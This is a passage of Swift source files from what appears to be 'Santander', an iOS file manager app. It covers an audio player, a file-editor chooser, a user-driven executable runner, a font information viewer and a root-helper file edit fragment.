NSTemporaryDirectory()).appendingPathComponent(tmpFilename)\n                do {\n                    // create the temporary file\n                    try FileManager.default.copyItem(at: sender.fileURL, to: temporaryFileURL)\n                    // edit the temporary file\n                    try sender.catalog.editItem(selectedRendition, fileURL: temporaryFileURL, to: newItem)\n                    try FSOperation.perform(.removeItems(items: [sender.fileURL]), rootHelperConf: RootConf.shared)\n                    // overwrite original file with the temporary one\n                    // move, but .moveItem is kinda finnicky and changing it would break like 4 parts of the app\n                    try FSOperation.perform(.rename(item: temporaryFileURL, newPath: sender.fileURL), rootHelperConf: RootConf.shared)\n                    \n                    finishedEditingCallback?(nil)\n                    sender.fetchItemsFromFile()\n                } catch {\n                    finishedEditingCallback?(error)\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Audio/AudioPlayerToolbarView.swift",
    "content": "//\n//  AudioPlayerToolbarView.swift\n//  Santander\n//\n//  Created by Serena on 29/08/2022.\n//\n\nimport UIKit\n\nclass AudioPlayerToolbarView: UIView {\n    let audioPlayerController: AudioPlayerViewController\n    weak var delegate: AudioPlayerToolbarDelegate?\n    var playButton: UIButton!\n    \n    init(_ audioPlayerController: AudioPlayerViewController, frame: CGRect) {\n        self.audioPlayerController = audioPlayerController\n        \n        super.init(frame: frame)\n        \n        let titleLabel = UILabel()\n        titleLabel.text = audioPlayerController.itemName\n        titleLabel.translatesAutoresizingMaskIntoConstraints = false\n        addSubview(titleLabel)\n        \n        let cancelAction = UIAction(image: UIImage(systemName: \"xmark.circle\")) { _ in\n            self.delegate?.audioToolbarDidClickCancelButton(self)\n        }\n        \n        self.playButton = UIButton()\n        setPlayButtonImage()\n        let playOrStopAction = UIAction { _ in\n            self.playOrStop()\n        }\n        \n        playButton.addAction(playOrStopAction, for: .touchUpInside)\n        \n        audioPlayerController.playbackCallback = {\n            self.setPlayButtonImage()\n        }\n        \n        let cancelButton = UIButton(primaryAction: cancelAction)\n        let buttonsStackView = UIStackView(arrangedSubviews: [playButton, cancelButton])\n        buttonsStackView.spacing = 10\n        buttonsStackView.translatesAutoresizingMaskIntoConstraints = false\n        \n        addSubview(buttonsStackView)\n        \n        NSLayoutConstraint.activate([\n            titleLabel.leadingAnchor.constraint(equalTo: layoutMarginsGuide.leadingAnchor),\n            titleLabel.centerYAnchor.constraint(equalTo: centerYAnchor),\n            \n            buttonsStackView.centerYAnchor.constraint(equalTo: centerYAnchor),\n            buttonsStackView.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor)\n        ])\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    \n    func playOrStop() {\n        audioPlayerController.play()\n        setPlayButtonImage()\n    }\n    \n    func setPlayButtonImage() {\n        playButton.setImage(audioPlayerController.playButtonImage(withSize: 20, imageTintColor: nil), for: .normal)\n    }\n}\n\nprotocol AudioPlayerToolbarDelegate: AnyObject {\n    func audioToolbarDidClickCancelButton(_ toolbar: AudioPlayerToolbarView)\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Audio/AudioPlayerViewController.swift",
    "content": "//\n//  AudioPlayerViewController.swift\n//  Santander\n//\n//  Created by Serena on 06/07/2022\n//\n\t\n\nimport UIKit\nimport MediaPlayer\nimport AVFoundation\n\n// this should be re-written some day\nclass AudioPlayerViewController: UIViewController {\n    let fileURL: URL\n    var playButton: UIButton!\n    var loopButton: UIButton!\n    var playbackSlider: UISlider!\n    var durationLabel: UILabel!\n    var currentProgressLabel: UILabel!\n    var forwardButton: UIButton!\n    var backwardButton: UIButton!\n    \n    var player: AVAudioPlayer\n    var asset: AVAsset\n    lazy var displayLink: CADisplayLink = CADisplayLink(target: self, selector: #selector(sychronizeSliderProgress))\n\n    /// Whether or not to loop, once the item is finished playing\n    var doLoop: Bool = false\n    \n    /// The callback to execute when the player starts / stops playing the audio\n    var playbackCallback: (() -> Void)? = nil\n    \n    var playbackSpeedRate: Float = UserPreferences.audioVCSpeed {\n        didSet {\n            UserPreferences.audioVCSpeed = playbackSpeedRate\n            \n            player.rate = playbackSpeedRate\n        }\n    }\n    \n    /// Name of the item currently being played\n    var itemName: String {\n        let nameFromMetadata = asset.metadata.first { $0.commonKey?.rawValue == \"title\" }?.stringValue\n        return nameFromMetadata ?? fileURL.lastPathComponent // if we can't get the title from the metadata, return the filename\n    }\n    \n    /// The name of the artist from the Metadata, if available\n    var artistName: String? {\n        return asset.metadata.first { $0.commonKey?.rawValue == \"artist\" }?.stringValue\n    }\n    \n    /// The duration on the go backward / forward buttons\n    /// 15 seconds by default, if not set in UserDefaults.\n    var skipDuration: Int = UserPreferences.skipDuration {\n        didSet {\n            UserPreferences.skipDuration = skipDuration\n        }\n    }\n    \n    let availableSkipDurations: [Int] = [5, 10, 15, 30, 45, 60, 90]\n    let availableSpeedRates: [Float] = [0.5, 1.0, 1.5, 2.0]\n    \n    /// The UIImage of the track's artwork, if available\n    lazy var artworkImage: UIImage? = _getArtworkImage()\n    \n    func _getArtworkImage() -> UIImage? {\n        guard let data = asset.metadata.first(where: { $0.commonKey?.rawValue == \"artwork\" })?.dataValue, let image = UIImage(data: data) else {\n            return nil\n        }\n        \n        return image\n    }\n    \n    func playButtonSymbolName() -> String {\n        player.isPlaying ? \"pause.fill\" : \"play.fill\"\n    }\n    \n    /// The image to display for the Play / Pause button\n    func playButtonImage(withSize pointSize: CGFloat = 45, imageTintColor: UIColor? = .systemGray) -> UIImage? {\n        let conf = UIImage.SymbolConfiguration(pointSize: pointSize, weight: .medium, scale: .medium)\n        \n        let imageSymbolName = playButtonSymbolName()\n        let image = UIImage(systemName: imageSymbolName, withConfiguration: conf)\n        if let imageTintColor = imageTintColor {\n            return image?.withTintColor(imageTintColor, renderingMode: .alwaysOriginal)\n        }\n        \n        return image\n    }\n    \n    init(fileURL: URL, player: AVAudioPlayer) {\n        self.fileURL = fileURL\n        self.asset = AVAsset(url: fileURL)\n        self.player = player\n        \n        self.player.enableRate = true\n        self.player.rate = playbackSpeedRate\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    /// Initializes a new AudioPlayerViewController with the given audio file URL\n    convenience init(fileURL: URL) throws {\n        self.init(fileURL: fileURL, player: try AVAudioPlayer(contentsOf: fileURL))\n    }\n    \n    /// Initializes a new AudioPlayerViewController with the given file URL and data\n    convenience init(fileURL: URL, data: Data) throws {\n        self.init(fileURL: fileURL, player: try AVAudioPlayer(data: data))\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.view.backgroundColor = .secondarySystemBackground\n        setupBarButtons()\n        \n        displayLink.add(to: .main, forMode: .default)\n        \n        addItemToSystemMediaPlayer()\n        \n        player.delegate = self\n        let playAction = UIAction(image: playButtonImage()) { _ in\n            self.play()\n        }\n        \n        self.playButton = UIButton(primaryAction: playAction)\n        \n        self.playbackSlider = UISlider()\n        \n        playbackSlider.minimumValue = 0\n        playbackSlider.maximumValue = Float(player.duration)\n        playbackSlider.isContinuous = false\n        \n        playbackSlider.setThumbImage(UIImage(systemName: \"circle.fill\"), for: .normal)\n        playbackSlider.tintColor = .lightGray\n        playbackSlider.addTarget(self, action: #selector(sliderDidChange(_:)), for: .valueChanged)\n        playbackSlider.addTarget(self, action: #selector(didBeginDraggingSlider), for: .touchDown)\n        \n        let titleLabel = UILabel()\n        titleLabel.text = itemName\n        titleLabel.font = .preferredFont(forTextStyle: .title2)\n        titleLabel.textAlignment = .left\n        \n        let artistLabel = UILabel()\n        artistLabel.text = artistName ?? \"Unknown Artist\"\n        artistLabel.textAlignment = .left\n        artistLabel.textColor = .systemGray\n        \n        self.durationLabel = UILabel()\n        durationLabel.text = format(timeInterval: player.duration)\n        durationLabel.textColor = .systemGray\n        \n        self.currentProgressLabel = UILabel()\n        currentProgressLabel.text = format(timeInterval: player.duration)\n        currentProgressLabel.textColor = .systemGray\n        \n        let loopAction = UIAction(image: loopButtonImage()) { action in\n            self.doLoop.toggle()\n            self.loopButton.setImage(self.loopButtonImage(), for: .normal)\n        }\n        self.loopButton = UIButton(primaryAction: loopAction)\n        \n        self.forwardButton = UIButton(\n            primaryAction: UIAction(\n                image: UIImage(systemName: \"goforward\")?.withTintColor(.systemGray, renderingMode: .alwaysOriginal)\n            ) { _ in\n                self.player.currentTime += Double(self.skipDuration)\n            }\n        )\n        \n        self.backwardButton = UIButton(\n            primaryAction: UIAction(\n                image: UIImage(systemName: \"gobackward\")?.withTintColor(.systemGray, renderingMode: .alwaysOriginal)\n            ) { _ in\n                self.player.currentTime -= Double(self.skipDuration)\n            }\n        )\n        \n        let buttonsStackView = UIStackView(arrangedSubviews: [backwardButton, playButton, forwardButton])\n        buttonsStackView.spacing = 40\n        \n        let labelsStackView = UIStackView(arrangedSubviews: [titleLabel, artistLabel])\n        labelsStackView.axis = .vertical\n        \n        durationLabel.translatesAutoresizingMaskIntoConstraints = false\n        playbackSlider.translatesAutoresizingMaskIntoConstraints = false\n        buttonsStackView.translatesAutoresizingMaskIntoConstraints = false\n        labelsStackView.translatesAutoresizingMaskIntoConstraints = false\n        loopButton.translatesAutoresizingMaskIntoConstraints = false\n        currentProgressLabel.translatesAutoresizingMaskIntoConstraints = false\n        \n        // Mark: adding the subviews\n        view.addSubview(buttonsStackView)\n        view.addSubview(labelsStackView)\n        view.addSubview(durationLabel)\n        view.addSubview(playbackSlider)\n        view.addSubview(currentProgressLabel)\n        view.addSubview(loopButton)\n        \n        NSLayoutConstraint.activate([\n            playbackSlider.centerYAnchor.constraint(equalTo: view.centerYAnchor, constant: 120),\n            playbackSlider.trailingAnchor.constraint(equalTo: view.layoutMarginsGuide.trailingAnchor),\n            playbackSlider.leadingAnchor.constraint(equalTo: view.layoutMarginsGuide.leadingAnchor),\n            \n            buttonsStackView.centerXAnchor.constraint(equalTo: view.centerXAnchor),\n            buttonsStackView.centerYAnchor.constraint(equalTo: playbackSlider.centerYAnchor, constant: 80),\n  \n            labelsStackView.trailingAnchor.constraint(equalTo: playbackSlider.trailingAnchor),\n            labelsStackView.leadingAnchor.constraint(equalTo: playbackSlider.leadingAnchor),\n            labelsStackView.bottomAnchor.constraint(equalTo: playbackSlider.topAnchor, constant: -10),\n            \n            durationLabel.trailingAnchor.constraint(equalTo: titleLabel.trailingAnchor),\n            durationLabel.topAnchor.constraint(equalTo: playbackSlider.bottomAnchor),\n            \n            currentProgressLabel.leadingAnchor.constraint(equalTo: titleLabel.leadingAnchor),\n            currentProgressLabel.topAnchor.constraint(equalTo: playbackSlider.bottomAnchor),\n            \n            loopButton.trailingAnchor.constraint(equalTo: artistLabel.trailingAnchor),\n            loopButton.topAnchor.constraint(equalTo: artistLabel.topAnchor)\n        ])\n        \n    }\n    \n    func play() {\n        if player.isPlaying {\n            player.pause()\n        } else {\n            try? AVAudioSession.sharedInstance().setCategory(.playback) // So that we can play in the background\n            try? AVAudioSession.sharedInstance().setActive(true, options: .notifyOthersOnDeactivation)\n            \n            player.play()\n        }\n        \n        setPlayButtonImage()\n        playbackCallback?()\n    }\n    \n    func setPlayButtonImage() {\n        playButton.setImage(playButtonImage(), for: .normal)\n    }\n    \n    @objc\n    func sliderDidChange(_ sender: UISlider) {\n        player.currentTime = Double(sender.value)\n        displayLink.isPaused = false\n    }\n    \n    @objc\n    func sychronizeSliderProgress() {\n        if !playbackSlider.isTracking {\n            MPNowPlayingInfoCenter.default().nowPlayingInfo?[MPMediaItemPropertyPlaybackDuration] = player.duration\n            MPNowPlayingInfoCenter.default().nowPlayingInfo?[MPNowPlayingInfoPropertyElapsedPlaybackTime] = player.currentTime\n        }\n        \n        let synchronized = player.currentTime\n        playbackSlider.setValue(Float(synchronized), animated: true)\n        currentProgressLabel.text = format(timeInterval: synchronized)\n        // show the current time left in the duration label\n        if let currentTimeLeft = format(timeInterval: player.duration - player.currentTime) {\n            self.durationLabel.text = \"-\\(currentTimeLeft)\"\n        }\n        \n        displayLink.isPaused = false\n    }\n    \n    @objc func didBeginDraggingSlider() {\n        displayLink.isPaused = true\n    }\n    \n    /// Formats a time interval\n    func format(timeInterval: TimeInterval) -> String? {\n        let formatter = DateComponentsFormatter()\n        \n        // show all units that we'll allow\n        formatter.zeroFormattingBehavior = []\n        \n        formatter.allowedUnits = [.second, .minute]\n        // if longer than an hour or long as an hour, allow hours\n        if timeInterval >= 3600 {\n            formatter.allowedUnits.insert(.hour)\n        }\n        \n        return formatter.string(from: timeInterval)\n    }\n    \n    func loopButtonImage() -> UIImage? {\n        let image = UIImage(systemName: \"repeat\")\n        if !self.doLoop {\n            return image?.withTintColor(.systemGray, renderingMode: .alwaysOriginal)\n        }\n        \n        return image\n    }\n    \n    func setupBarButtons() {\n        let durationActions = availableSkipDurations.map { duration in\n            UIAction(title: duration.description, state: self.skipDuration == duration ? .on : .off) { _ in\n                self.skipDuration = duration\n                self.setupBarButtons() // Update the menu\n            }\n        }\n        \n        let skipDurationSubMenu = UIMenu(title: \"Backward / Forward duration\", children: durationActions)\n        \n        let adjustSpeedActions = availableSpeedRates.map { rate in\n            UIAction(title: rate.description, state: self.playbackSpeedRate == rate ? .on : .off) { _ in\n                self.playbackSpeedRate = rate\n                self.setupBarButtons() // Update the menu\n            }\n        }\n        \n        let adjustSpeedMenu = UIMenu(title: \"Speed\", image: UIImage(systemName: \"speedometer\"), children: adjustSpeedActions)\n        let menu = UIMenu(children: [adjustSpeedMenu, skipDurationSubMenu])\n        self.navigationItem.rightBarButtonItem = UIBarButtonItem(image: UIImage(systemName: \"ellipsis.circle\"), menu: menu)\n        self.navigationItem.leftBarButtonItem = UIBarButtonItem(title: \"Dismiss\", primaryAction: UIAction { _ in\n            self.dismiss(animated: true)\n        })\n    }\n    \n    func addItemToSystemMediaPlayer() {\n        let center = MPNowPlayingInfoCenter.default()\n        \n        UIApplication.shared.beginReceivingRemoteControlEvents()\n        MPRemoteCommandCenter.shared().playCommand.addTarget { event in\n            self.player.play()\n            self.setPlayButtonImage()\n            self.playbackCallback?()\n            return .success\n        }\n        \n        MPRemoteCommandCenter.shared().pauseCommand.addTarget { event in\n            self.player.pause()\n            self.setPlayButtonImage()\n            self.playbackCallback?()\n            return .success\n        }\n        \n        MPRemoteCommandCenter.shared().nextTrackCommand.addTarget {event in\n            self.player.currentTime += Double(self.skipDuration)\n            return .success\n        }\n        \n        MPRemoteCommandCenter.shared().previousTrackCommand.addTarget {event in\n            self.player.currentTime -= Double(self.skipDuration)\n            return .success\n        }\n        \n        var info: [String: Any] = [\n            MPMediaItemPropertyTitle: self.itemName,\n            MPNowPlayingInfoPropertyMediaType: MPNowPlayingInfoMediaType.audio.rawValue,\n            MPNowPlayingInfoPropertyAssetURL: self.fileURL,\n            MPNowPlayingInfoPropertyIsLiveStream: false\n        ]\n        \n        if let album = asset.metadata.first(where: { $0.commonKey?.rawValue == \"album\" })?.stringValue {\n            info[MPMediaItemPropertyAlbumTitle] = album\n        }\n        \n        if let artist = self.artistName {\n            info[MPMediaItemPropertyArtist] = artist\n        }\n        \n        if let artworkImage = artworkImage {\n            let mpArtwork = MPMediaItemArtwork(boundsSize: artworkImage.size) { _ in\n                return artworkImage\n            }\n            \n            info[MPMediaItemPropertyArtwork] = mpArtwork\n        }\n        \n        center.nowPlayingInfo = info\n    }\n    \n    override func dismiss(animated flag: Bool, completion: (() -> Void)? = nil) {\n        player.stop()\n        super.dismiss(animated: flag, completion: completion)\n    }\n    \n    func removeFromSystemMediaPlayer() {\n        MPNowPlayingInfoCenter.default().nowPlayingInfo = nil\n    }\n}\n\nextension AudioPlayerViewController: AVAudioPlayerDelegate {\n    func audioPlayerDidFinishPlaying(_ player: AVAudioPlayer, successfully flag: Bool) {\n        if self.doLoop {\n            player.play()\n        }\n        \n        setPlayButtonImage()\n        playbackCallback?()\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/BinaryExecutionViewController.swift",
    "content": "//\n//  BinaryExecutionViewController.swift\n//  Santander\n//\n//  Created by Serena on 06/09/2022\n//\n\t\n\nimport UIKit\nimport NSTaskBridge\n\nclass BinaryExecutionViewController: UIViewController {\n    let executableURL: URL\n    var task: NSTask = NSTask()\n    var textView: UITextView!\n    \n    init(executableURL: URL) {\n        self.executableURL = executableURL\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        view.backgroundColor = .secondarySystemBackground\n        \n        title = \"Execution\"\n        let doneAction = UIAction {\n            if self.task.isRunning {\n                self.task.interrupt()\n            }\n            self.dismiss(animated: true)\n        }\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .done, primaryAction: doneAction)\n        configureNavigationBarToNormal()\n        \n        let executableTextField = UITextField()\n        \n        let action = UIAction {\n            if self.task.isRunning {\n                self.task.interrupt()\n            }\n            self.spawnExecutable(pathAndArgs: executableTextField.text!)\n        }\n        \n        executableTextField.autocorrectionType = .no\n        executableTextField.returnKeyType = .go\n        executableTextField.addAction(action, for: .primaryActionTriggered)\n        executableTextField.text = executableURL.path\n        executableTextField.font = UIFont(name: \"Menlo\", size: UIFont.systemFontSize)\n        executableTextField.translatesAutoresizingMaskIntoConstraints = false\n        executableTextField.backgroundColor = .systemBackground\n        executableTextField.inputAccessoryView = makeKeyboardToolbar(forTextField: executableTextField)\n        view.addSubview(executableTextField)\n        \n        let guide = view.safeAreaLayoutGuide\n        NSLayoutConstraint.activate([\n            executableTextField.trailingAnchor.constraint(equalTo: guide.trailingAnchor),\n            executableTextField.leadingAnchor.constraint(equalTo: guide.leadingAnchor),\n            executableTextField.topAnchor.constraint(equalTo: guide.topAnchor),\n            executableTextField.heightAnchor.constraint(equalToConstant: 50),\n        ])\n        \n        self.textView = UITextView()\n        textView.text = \"\"\n        textView.font = .systemFont(ofSize: 20)\n        textView.isEditable = false\n        textView.translatesAutoresizingMaskIntoConstraints = false\n        textView.backgroundColor = view.backgroundColor\n        view.addSubview(textView)\n        \n        NSLayoutConstraint.activate([\n            textView.leadingAnchor.constraint(equalTo: guide.leadingAnchor),\n            textView.trailingAnchor.constraint(equalTo: guide.trailingAnchor),\n            textView.topAnchor.constraint(equalTo: executableTextField.bottomAnchor),\n            textView.heightAnchor.constraint(equalTo: view.heightAnchor)\n        ])\n    }\n    \n    func makeKeyboardToolbar(forTextField textField: UITextField) -> UIToolbar {\n        let toolbar = UIToolbar()\n        \n        let dismissKeyboardAction = UIAction {\n            textField.resignFirstResponder()\n        }\n        \n        let dismissButton = UIBarButtonItem(title: \"Dismiss\", primaryAction: dismissKeyboardAction)\n        toolbar.setItems([.flexibleSpace(), dismissButton], animated: true)\n        toolbar.sizeToFit()\n        return toolbar\n    }\n    \n    func spawnExecutable(pathAndArgs: String) {\n        var components = pathAndArgs.components(separatedBy: \" \")\n        guard let executable = components.first, !executable.isEmpty else {\n            self.errorAlert(\"Enter a valid executable and arguments.\", title: \"Input is empty\")\n            return\n        }\n        \n        // make it just args\n        components.removeFirst()\n        self.task = NSTask()\n        task.executableURL = URL(fileURLWithPath: executable)\n        task.arguments = components\n        \n        let pipe = Pipe()\n        pipe.fileHandleForReading.readabilityHandler = { outPipe in\n            guard let output = String(data: outPipe.availableData, encoding: .utf8),\n            !output.isEmpty else {\n                return\n            }\n            \n            DispatchQueue.main.async {\n                self.textView.text.append(output)\n            }\n        }\n        \n        task.standardError = pipe\n        task.standardOutput = pipe\n        do {\n            textView.text = \"\"\n            try task.launchAndReturnError()\n            task.waitUntilExit()\n        } catch {\n            self.errorAlert(error, title: \"Unable to launch process\")\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/FileEditorType.swift",
    "content": "//\n//  FileEditorType.swift\n//  Santander\n//\n//  Created by Serena on 16/08/2022.\n//\n\nimport UIKit\nimport AVKit\n\nstruct FileEditor {\n    let type: FileEditorType\n    let viewController: UIViewController\n    \n    static func preferred(forURL _url: Path) -> FileEditor? {\n        let url = _url.url\n        if url.pathExtension == \"car\", let carVC = FileEditorType.assetCatalog.viewController(forPath: url, data: nil) {\n            return FileEditor(type: .assetCatalog, viewController: carVC)\n        }\n        \n        guard let data = try? Data(contentsOf: url) else {\n            return nil\n        }\n        \n        let type = url.contentType\n        if type == .unixExecutable {\n            return FileEditor(type: .executable, viewController: BinaryExecutionViewController(executableURL: url))\n        }\n        \n        if type?.isOfType(.audio) ?? false, let audio = FileEditorType.audio.viewController(forPath: url, data: data) {\n            return FileEditor(type: .audio, viewController: audio)\n        }\n        \n        if type?.isOfType(.font) ?? false, let fontVC = FileEditorType.font.viewController(forPath: url, data: data) {\n            return FileEditor(type: .font, viewController: fontVC)\n        }\n        \n        if let imageVC = FileEditorType.image.viewController(forPath: url, data: data) {\n            return FileEditor(type: .image, viewController: imageVC)\n        }\n        \n        if (type?.isOfType(.video) ?? false || type?.isOfType(.movie) ?? false),\n            let videoPlayer = FileEditorType.video.viewController(forPath: url, data: data) {\n            return FileEditor(type: .video, viewController: videoPlayer)\n        }\n        \n            \n        if let plistVc = FileEditorType.propertyList.viewController(forPath: url, data: data) {\n            return FileEditor(type: .propertyList, viewController: plistVc)\n        }\n        \n        if url.pathExtension == \"json\", let jsonVC = FileEditorType.json.viewController(forPath: url, data: data) {\n            return FileEditor(type: .json, viewController: jsonVC)\n        }\n        \n        if let textEditorVc = FileEditorType.text.viewController(forPath: url, data: data) {\n            return FileEditor(type: .text, viewController: textEditorVc)\n        }\n        \n        return nil\n    }\n    \n    static func allEditors(forPath path: Path) -> [FileEditor] {\n        let url = path.url\n        let data = try? Data(contentsOf: url)\n        \n        return FileEditorType.allCases.compactMap { type in\n            guard let vc = type.viewController(forPath: url, data: data) else {\n                return nil\n            }\n            return FileEditor(type: type, viewController: vc)\n        }\n    }\n    \n    func display(senderVC: UIViewController) {\n        let vcToPresent: UIViewController\n        if type.useNavigationController {\n            vcToPresent = UINavigationController(rootViewController: viewController)\n        } else {\n            vcToPresent = viewController\n        }\n        \n        if type.presentAsFullScreen {\n            vcToPresent.modalPresentationStyle = .fullScreen\n        }\n        \n        senderVC.present(vcToPresent, animated: true)\n    }\n}\n\nenum FileEditorType: CustomStringConvertible, CaseIterable {\n    case audio, image, video\n    case propertyList, json, text, font\n    case assetCatalog\n    case executable\n    \n    /// Returns the view controller to be used for the file editor type\n    /// the Data parameter is used so that, when looping over all editor types,\n    /// it tries to get the data for only one time\n    func viewController(forPath path: URL, data: Data?) -> UIViewController? {\n        if self == .assetCatalog {\n            guard path.pathExtension == \"car\",\n                  let vc = try? AssetCatalogViewController(catalogFileURL: path) else {\n                return nil\n            }\n            \n            if UIDevice.isiPad {\n                return __makeSplitViewController(with: AssetCatalogSidebarListView(catalogController: vc), for: .primary)\n            }\n            \n            return vc\n        }\n        \n        guard let data = data else { return nil }\n        \n        switch self {\n        case .audio:\n            return try? AudioPlayerViewController(fileURL: path, data: data)\n        case .propertyList:\n            let fmt: UnsafeMutablePointer<PropertyListSerialization.PropertyListFormat> = .allocate(capacity: 4)\n            let plist = try? PropertyListSerialization.propertyList(from: data, format: fmt)\n            \n            if let dict = plist as? [String: Any] {\n                return SerializedDocumentViewController(dictionary: dict.asSerializedDictionary(), type: .plist(format: fmt.pointee), title: path.lastPathComponent, fileURL: path, parentController: nil, canEdit: true)\n            } else if let arr = plist as? Array<Any> {\n                return SerializedArrayViewController(array: arr, type: .plist(format: fmt.pointee), parentController: nil, title: path.lastPathComponent, fileURL: path, canEdit: true)\n            }\n            \n            return nil\n        case .json:\n            \n            let json = try? JSONSerialization.jsonObject(with: data)\n            \n            if let dict = json as? [String: Any] {\n                return SerializedDocumentViewController(dictionary: dict.asSerializedDictionary(), type: .json, title: path.lastPathComponent, fileURL: path, parentController: nil, canEdit: true)\n            } else if let arr = json as? Array<Any> {\n                return SerializedArrayViewController(array: arr, type: .json, parentController: nil, title: path.lastPathComponent, fileURL: path, canEdit: true)\n            }\n            \n            return nil\n        case .text:\n            guard let stringContents = String(data: data, encoding: .utf8) else {\n                return nil\n            }\n            \n            let textVC = TextFileEditorViewController(fileURL: path, contents: stringContents)\n            if UIDevice.isiPad {\n                return __makeSplitViewController(with: textVC, for: .secondary)\n            }\n            \n            return textVC\n        case .image:\n            guard let image = UIImage(data: data) else {\n                return nil\n            }\n            \n            return ImageViewerController(fileURL: path, image: image)\n        case .video:\n            let type = path.contentType\n            guard (type?.isOfType(.movie) ?? false || type?.isOfType(.video) ?? false) else {\n                return nil\n            }\n            \n            let controller = AVPlayerViewController()\n            controller.player = AVPlayer(url: path)\n            return controller\n        case .font:\n            guard let descriptors = CTFontManagerCreateFontDescriptorsFromURL(path as CFURL) as? [CTFontDescriptor], !descriptors.isEmpty else {\n                return nil\n            }\n            \n            return FontViewerController(selectedFont: descriptors.first!.uiFont, descriptors: descriptors)\n        case .executable:\n            return BinaryExecutionViewController(executableURL: path)\n        case .assetCatalog: return nil // already covered!\n        }\n    }\n    \n    private func __makeSplitViewController(with vc: UIViewController, for column: UISplitViewController.Column) -> UISplitViewController {\n        let splitVC = UISplitViewController(style: .doubleColumn)\n        splitVC.setViewController(vc, for: column)\n        return splitVC\n    }\n    \n    var description: String {\n        switch self {\n        case .audio:\n            return \"Audio Player\"\n        case .video:\n            return \"Video Player\"\n        case .image:\n            return \"Image Viewer\"\n        case .propertyList:\n            return \"Property List Viewer\"\n        case .json:\n            return \"JSON Viewer\"\n        case .font:\n            return \"Font Viewer\"\n        case .text:\n            return \"Text Editor\"\n        case .assetCatalog:\n            return \"Asset Catalog Viewer\"\n        case .executable:\n            return \"Executable Runner\"\n        }\n    }\n    \n    var presentAsFullScreen: Bool {\n        switch self {\n        case .text, .image, .video, .executable:\n            return true\n        case .audio, .font:\n            return false\n        case .propertyList, .json, .assetCatalog:\n            return UIDevice.isiPad\n        }\n    }\n    \n    var useNavigationController: Bool {\n        switch self {\n        case .video:\n            return false\n        case .text, .assetCatalog:\n            return !UIDevice.isiPad\n        default:\n            return true\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Font/FontInformationViewController.swift",
    "content": "//\n//  FontInformationViewController.swift\n//  Santander\n//\n//  Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A ViewController displaying information about a Font\nclass FontInformationViewController: UITableViewController {\n    let font: UIFont\n    let ctFont: CTFont\n    let fontName: String\n    \n    init(font: UIFont) {\n        self.font = font\n        self.ctFont = font as CTFont\n        self.fontName = CTFontCopyAttribute(ctFont, kCTFontDisplayNameAttribute) as? String ?? font.fontName\n        \n        super.init(style: .userPreferred)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        // a label, with the font set as the font being viewed\n        // and the text set as the font name\n        let fontLabel = UILabel()\n        fontLabel.text = fontName\n        fontLabel.font = font.withSize(30)\n        \n        navigationItem.titleView = fontLabel\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 2\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0:\n            return 6\n        case 1:\n            return 3\n        default:\n            fatalError()\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        defer {\n            cell.contentConfiguration = conf\n        }\n        \n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            conf.text = \"Full name\"\n            conf.secondaryText = fontName\n        case (0, 1):\n            conf.text = \"Family name\"\n            conf.secondaryText = font.familyName\n        case (0, 2):\n            conf.text = \"PostScript name\"\n            conf.secondaryText = font.fontDescriptor.postscriptName\n        case (0, 3):\n            conf.text = \"Style\"\n            conf.secondaryText = CTFontCopyAttribute(ctFont, kCTFontStyleNameAttribute) as? String ?? \"N/A\"\n        case (0, 4):\n            conf.text = \"Enabled\"\n            if let isEnabled = CTFontCopyAttribute(ctFont, kCTFontEnabledAttribute) as? Bool {\n                conf.secondaryText = isEnabled ? \"Yes\" : \"No\"\n            } else {\n                conf.secondaryText = \"N/A\"\n            }\n        case (0, 5):\n            conf.text = \"URL\"\n            let url = CTFontCopyAttribute(ctFont, kCTFontURLAttribute) as? URL\n            conf.secondaryText = url?.path ?? \"N/A\"\n        case (1, 0):\n            conf.text = \"Designer\"\n            conf.secondaryText = CTFontCopyName(ctFont, kCTFontDesignerNameKey) as? String ?? \"N/A\"\n        case (1, 1):\n            conf.text = \"Manufacturer\"\n            conf.secondaryText = CTFontCopyName(ctFont, kCTFontManufacturerNameKey) as? String ?? \"N/A\"\n        case (1, 2):\n            conf.text = \"Version\"\n            conf.secondaryText = CTFontCopyName(ctFont, kCTFontVersionNameKey) as? String ?? \"N/A\"\n        default:\n            fatalError(\"Unhandled indexPath: \\(indexPath)\")\n        }\n        \n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return false\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Font/FontViewerController.swift",
